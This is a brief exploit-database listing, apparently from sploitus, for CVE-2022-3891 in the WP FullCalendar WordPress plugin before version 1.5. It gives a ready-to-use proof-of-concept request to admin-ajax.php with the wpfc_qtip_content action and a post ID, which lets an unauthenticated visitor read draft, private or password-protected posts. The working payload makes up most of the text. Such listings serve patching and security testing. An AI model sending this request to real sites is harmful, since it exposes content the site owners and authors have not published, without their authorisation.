Exploit for WP FullCalendar < 1.5 - Unauthenticated Arbitrary Post Access CVE-2022-3891

Name: Exploit for WP FullCalendar < 1.5 - Unauthenticated Arbitrary Post Access CVE-2022-3891
Rating: 5 (167 reviews)

2023-01-17 | CVSS 1.7

## https://sploitus.com/exploit?id=WPEX-ID:5A69965D-D243-4D51-B7A4-D6F4B199ABF1
Open the below URL as an unauthenticated user, and this will display the content of the post with ID 1, even if they are draft/private/password protected:

https://example.com/wp-admin/admin-ajax.php?action=wpfc_qtip_content&post_id=1